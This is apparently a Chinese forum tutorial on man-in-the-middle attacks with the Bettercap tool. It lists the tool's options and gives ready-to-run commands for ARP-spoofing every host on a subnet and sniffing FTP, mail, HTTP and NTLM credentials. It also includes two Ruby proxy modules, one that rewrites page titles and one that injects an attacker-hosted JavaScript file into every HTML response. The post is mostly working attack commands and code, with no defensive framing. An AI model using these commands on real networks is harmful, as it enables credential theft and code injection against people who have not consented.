使用Bettercap进行中间人攻击

Bettercap中间人攻击

项目主页

命令

-I, –INTERFACE IFACE 指定网卡名,默认ETH0

-S, –SPOOFER NAME 指定欺骗模块,默认为ARP

-T, –TARGET ADDRESS 指定单一IP,如果未设置,则代表所有子网,子网所有主机自动扫描

-O, –LOG LOG_FILE 日志功能

-D, –DEBUG 调试功能,会将每一步操作详细记录,便于调试

-L –LOCAL 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, –SNIFFER 开启嗅探器. –SNIFFER-PCAP FILE 将数据包保存为PCAP文件,可用WIRESHARK打开(此操作会开启嗅探器) –SNIFFER-FILTER EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P –PARSERS PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 –NO-DISCOVERY 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 –NO-SPOOFING 关闭欺骗模块,也可以使用参数–SPOOFER NONE代替 –PROXY 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 –PROXY-PORT PORT 设置HTTP代理端口,此参数默认为8080 –PROXY-MODULE MODULE 指定加载的RUBY模块 –HTTPD 开启HTTP服务器,此参数默认为关闭 –HTTPD-PORT PORT 指定HTTP SERVER PORT, 此参数默认为8081. –HTTPD-PATH PATH 指定HTTP SERVER PATH,此参数默认为 ./.

-H, –HELP 英文帮助


功能

1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机


2、CREDENTIALS SNIFFER

抓取流量中有价值的信息,包括:

URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法举例:

默认模式,开启所有功能:

sudo bettercap -X

指定抓取的数据包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

3、MODULAR TRANSPARENT PROXY

代理功能,可以拦截篡改HTTP流量

用法举例:

开启代理功能:

sudo bettercap --proxy

开启代理功能并指定端口:

sudo bettercap --proxy --proxy-port=8081

关闭arp欺骗,只开启代理

sudo bettercap -S NONE --proxy

开启代理功能并加载指定的Ruby模块

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby参考示例:

class HackTitle < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end
功能为替换所有html的标题选项

4、BUILTIN HTTP SERVER

内置HTTP SERVER功能,可篡改HTTP响应包内容

用法举例:

在网络的每一个HTTP响应中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
Ruby参考示例:

class InjectJS < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.iface[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' 

type='text/javascript'></script>" )
    end
  end
end
1 个赞

服务器资源由ZeptoVM赞助

Partners Wiki Discord